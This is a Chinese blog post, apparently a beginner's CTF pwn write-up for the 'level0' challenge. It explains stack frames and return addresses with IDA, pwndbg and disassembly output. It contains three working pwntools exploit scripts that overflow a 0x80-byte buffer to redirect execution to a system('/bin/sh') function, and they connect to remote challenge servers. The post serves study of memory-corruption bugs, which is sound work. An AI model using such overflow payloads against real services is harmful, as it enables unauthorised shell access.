-0000000000000080 ; U       : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf             db ?
-000000000000007F                 db ? ; undefined
-000000000000007E                 db ? ; undefined
-000000000000007D                 db ? ; undefined
-000000000000007C                 db ? ; undefined
-000000000000007B                 db ? ; undefined
-000000000000007A                 db ? ; undefined
-0000000000000079                 db ? ; undefined
-0000000000000078                 db ? ; undefined
-0000000000000077                 db ? ; undefined
-0000000000000076                 db ? ; undefined
-0000000000000075                 db ? ; undefined
-0000000000000074                 db ? ; undefined
-0000000000000073                 db ? ; undefined
-0000000000000072                 db ? ; undefined
-0000000000000071                 db ? ; undefined
-0000000000000070                 db ? ; undefined
-000000000000006F                 db ? ; undefined
-000000000000006E                 db ? ; undefined
-000000000000006D                 db ? ; undefined
-000000000000006C                 db ? ; undefined
-000000000000006B                 db ? ; undefined
-000000000000006A                 db ? ; undefined
-0000000000000069                 db ? ; undefined
-0000000000000068                 db ? ; undefined
-0000000000000067                 db ? ; undefined
-0000000000000066                 db ? ; undefined
-0000000000000065                 db ? ; undefined
-0000000000000064                 db ? ; undefined
-0000000000000063                 db ? ; undefined
-0000000000000062                 db ? ; undefined
-0000000000000061                 db ? ; undefined
-0000000000000060                 db ? ; undefined
-000000000000005F                 db ? ; undefined
-000000000000005E                 db ? ; undefined
-000000000000005D                 db ? ; undefined
-000000000000005C                 db ? ; undefined
-000000000000005B                 db ? ; undefined
-000000000000005A                 db ? ; undefined
-0000000000000059                 db ? ; undefined
-0000000000000058                 db ? ; undefined
-0000000000000057                 db ? ; undefined
-0000000000000056                 db ? ; undefined
-0000000000000055                 db ? ; undefined
-0000000000000054                 db ? ; undefined
-0000000000000053                 db ? ; undefined
-0000000000000052                 db ? ; undefined
-0000000000000051                 db ? ; undefined
-0000000000000050                 db ? ; undefined
-000000000000004F                 db ? ; undefined
-000000000000004E                 db ? ; undefined
-000000000000004D                 db ? ; undefined
-000000000000004C                 db ? ; undefined
-000000000000004B                 db ? ; undefined
-000000000000004A                 db ? ; undefined
-0000000000000049                 db ? ; undefined
-0000000000000048                 db ? ; undefined
-0000000000000047                 db ? ; undefined
-0000000000000046                 db ? ; undefined
-0000000000000045                 db ? ; undefined
-0000000000000044                 db ? ; undefined
-0000000000000043                 db ? ; undefined
-0000000000000042                 db ? ; undefined
-0000000000000041                 db ? ; undefined
-0000000000000040                 db ? ; undefined
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031                 db ? ; undefined
-0000000000000030                 db ? ; undefined
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

 这样我们就可以考虑覆盖read函数的返回地址了。

我们观察一下read函数读取时读取了多少东西(字符?字节?以后填坑)

发现了么?发现了么?发现了么?(重要的事情说三遍) buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,哇,是不是很刺激,我们的输入不但可以填充满真个数组还能覆盖掉数组外面的东西,那这样又能干什么呢? 我们先看一下数组后面紧跟的是什么东西,继续在栈中看

当属于数组的空间结束后(到0x0000000000000000时),首先,有一个s,8个字节长度,其次是一个r,重点就在这,r中存放着的就是返回地址。即当read函数结束后,程序下一步要到的地方。

那这样岂不是很美滋滋?我们可以输入好长好长的数据,完全可以覆盖这个r

 

我们可以画个草图,然后用gdb去调试下这个流程就很容易明白覆盖过程了。

这个题目涉及到一个完整的函数调用流程,这里为了照顾跟我一样的萌新,我再细细地继续从0基础说一次。

重新回顾下:

ebp 作用就是存储当前函数的基地址,运行时保持不变,用来索引函数参数或者局部变量的位置
esp 用来存储函数调用栈顶地址,在压栈是地址减少,退栈是地址增大
eip 指向程序下一条执行指令。

我们简化下概念:
假设有函数A 函数B

函数A在第二行调用了函数B,也就是说第一行的时候eip指向的就是执行第二行的指令的地址。

int function A()
{
  B();
  printf("123");
}

那么调用完B之后,eip怎么去指向printf函数去执行呢,这里就是函数调用栈的关键啦。

首先我们要明确,栈空间是在当前空间开辟的一个独立空间,而且增长方式与当前空间是相反的。

有了这个概念之后,我们继续分析。

假设第三条指令地址(printf函数)是0x3,也就是说B函数执行完之后,eip应该执行0x3

那么执行第二条指令开辟的栈的流程就是:

保护现场

首先把0x3 eip信息压入栈内,保留了eip程序执行流程的信息。

然后把当前ebp寄存器的值(调用函数A的基地址)压入栈内,然后更将ebp寄存器的值更新为当前栈顶的地址。

这样调用函数A的ebp信息可以得到保存,同时ebp被更新为被调用函数b的ebp地址。

恢复现场

首先pop ebp,然后恢复了调用函数A时候的ebp。

然后pop eip 退出栈,恢复之前的下一条eip指令

可能有些人就在想为啥要这样做? eip不变不行吗,为啥要入栈作为返回地址存存起来,这里有个小误区,首先在栈空间里也是需要eip的,所以说栈空间的指令执行的时候eip会发生改变,不作为返回地址存起来的话,那么就会丢失程序流程。

理解之后我们画个堆栈图来理解这个题目

这里是开辟了0x80的栈空间(代码执行过程)

看下地址:

0xf0-0x70=0x80

可以看到数据的增长方向

如果再继续输入的话,就会把rbp给覆盖了(0x...b0-30=80,注意上图小细节)。

下面是我运行到vulnerable_function里的情况:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
*RIP  0x4005bf (vulnerable_function+25) ◂— call   0x400470
───────────────────────────────────────────[ DISASM ]───────────────────────────────────────────
   0x4005aa <vulnerable_function+4>     add    rsp, -0x80
   0x4005ae <vulnerable_function+8>     lea    rax, [rbp - 0x80]
   0x4005b2 <vulnerable_function+12>    mov    edx, 0x200
   0x4005b7 <vulnerable_function+17>    mov    rsi, rax
   0x4005ba <vulnerable_function+20>    mov    edi, 0
 0x4005bf <vulnerable_function+25>    call   read@plt <read@plt>, 正要调用read函数
        fd: 0x0
        buf: 0x7fffffffebb0 ◂— 0x0
        nbytes: 0x200
  
   0x4005c4 <vulnerable_function+30>    leave 
   0x4005c5 <vulnerable_function+31>    ret   
  
   0x4005c6 <main>                      push   rbp
   0x4005c7 <main+1>                    mov    rbp, rsp
   0x4005ca <main+4>                    sub    rsp, 0x10
───────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ rax rsi rsp  0x7fffffffebb0 ◂— 0x0  # 这里看不到完整的stack,所以输入stack 20查看更多的stack数据
... ↓
─────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
 ► f 0           4005bf vulnerable_function+25
   f 1           4005f3 main+45
   f 2     7ffff7e27cca __libc_start_main+234
────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ rax rsi rsp  0x7fffffffebb0 ◂— 0x0  #栈顶 buf变量的数据就在stack上
... ↓
0c:0060│              0x7fffffffec10 ◂— 0x1
0d:0068│              0x7fffffffec18 —▸ 0x40064d (__libc_csu_init+77) ◂— add    rbx, 1
0e:0070│              0x7fffffffec20 ◂— 0x0
0f:0078│              0x7fffffffec28 —▸ 0x7ffff7ffe180 ◂— 0x0
10:0080│ rbp          0x7fffffffec30 —▸ 0x7fffffffec50 —▸ 0x400600 (__libc_csu_init) ◂— push   r15  #栈顶,看吧,80 size是OK的
11:0088│              0x7fffffffec38 —▸ 0x4005f3 (main+45) ◂— leave  #用system shell函数地址覆盖这个数据就可以调用system shell???应该是的!!!
12:0090│              0x7fffffffec40 —▸ 0x7fffffffed48 —▸ 0x7fffffffef19 ◂— '/data/level0' #????
13:0098│              0x7fffffffec48 ◂— 0x100000000

可以看见buf距离ret的长度为0x80+0x08.

 

我们直接可以写exp了。 因为rbp是占用8字节64位寄存器,0x80+0x8=0x88(覆盖rbp之后继续添加数据就覆盖返回地址了)

调用system shell函数的地址是0x400596, IDA双击callsystem发现其执行的地址为400596,之后可以根据之前发现的地址覆盖,来调用callsystem执行任意命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000400596 ; =============== S U B R O U T I N E =======================================
.text:0000000000400596
.text:0000000000400596 ; Attributes: bp-based frame
.text:0000000000400596
.text:0000000000400596                 public callsystem       ###########看到了吧,就是这个地址!!!
.text:0000000000400596 callsystem      proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596                 push    rbp
.text:0000000000400597                 mov     rbp, rsp
.text:000000000040059A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040059F                 call    _system
.text:00000000004005A4                 pop     rbp
.text:00000000004005A5                 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem      endp
.text:00000000004005A5
.text:00000000004005A6
.text:00000000004005A6 ; =============== S U B R O U T I N E =======================================
.text:00000000004005A6
.text:00000000004005A6 ; Attributes: bp-based frame
.text:00000000004005A6
.text:00000000004005A6                 public vulnerable_function
.text:00000000004005A6 vulnerable_function proc near           ; CODE XREF: main+28↓p
.text:00000000004005A6
.text:00000000004005A6 buf             = byte ptr -80h
.text:00000000004005A6
.text:00000000004005A6 ; __unwind {
.text:00000000004005A6                 push    rbp
.text:00000000004005A7                 mov     rbp, rsp
.text:00000000004005AA                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005AE                 lea     rax, [rbp+buf]
.text:00000000004005B2                 mov     edx, 200h       ; nbytes
.text:00000000004005B7                 mov     rsi, rax        ; buf
.text:00000000004005BA                 mov     edi, 0          ; fd
.text:00000000004005BF                 call    _read
.text:00000000004005C4                 leave
.text:00000000004005C5                 retn
.text:00000000004005C5 ; } // starts at 4005A6
.text:00000000004005C5 vulnerable_function endp
.text:00000000004005C5
.text:00000000004005C6
.text:00000000004005C6 ; =============== S U B R O U T I N E =======================================

 pwn代码:

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
ip, port = '111.198.29.45:37260'.split(':')
# print(ip, port)
c = remote(ip, port)
# c.recvuntil("lets get helloworld for bof")
# p64是小端字节序转换
c.sendline('A'*0x88 + p64(0x400596))
c.interactive()
我的工作代码:
1
2
3
4
5
6
7
8
#!/usr/bin/python
# -*- coding:utf-8 -*-
 
from pwn import *
c = process("./level0") # remote('111.198.29.45', 31559)
c.recvuntil("Hello, World")
c.sendline(b'A'*0x88 + p64(0x400596))
c.interactive()

 其他人代码,可读性高:

1
2
3
4
5
6
7
8
9
10
# -*- coding:utf-8 -*-
from pwn import *
 
sh = remote("pwn2.jarvisoj.com",9881#remote:主要用作远程和服务器交互,返回一个类似连接对象
junk = 'a'*0x80
fakebp = 'a'*8
syscall = 0x0000000000400596   #vulnerable_fuction的函数起始位置
payload = junk + fakebp + p64(syscall) #p64:将数字转为字符串(p64/u64   p32/u32)
sh.send(payload) #send:发送数据,通过连接对象调用
sh.interactive() #interactive:反弹shell

 主要是将魔鬼数字给说清楚了。

运行效果:

 

0x6 总结

因为自己也是一个萌新,所以文章难免有疏漏或者错误的地方,欢迎师傅给我订正。对于网上的pwn教程我个人觉得对新手真的不是特别友好,造成了pwn入门门槛偏高,希望自己能给一些新手带来一些帮助,也希望有师傅能带带我这个pwn萌新谢谢。

0x7 预期计划

由于自己学的比较零碎,后面还是通过继续做题,最后再来个总结的方式,记录下自己的学习过程。

 

0x8 参考链接

Linux – Pwn 从入门到放弃

posted @   bonelee  阅读(1925)  评论(1编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2019-10-06 python 中根据python版本(2或3)定义函数
点击右上角即可分享
微信分享提示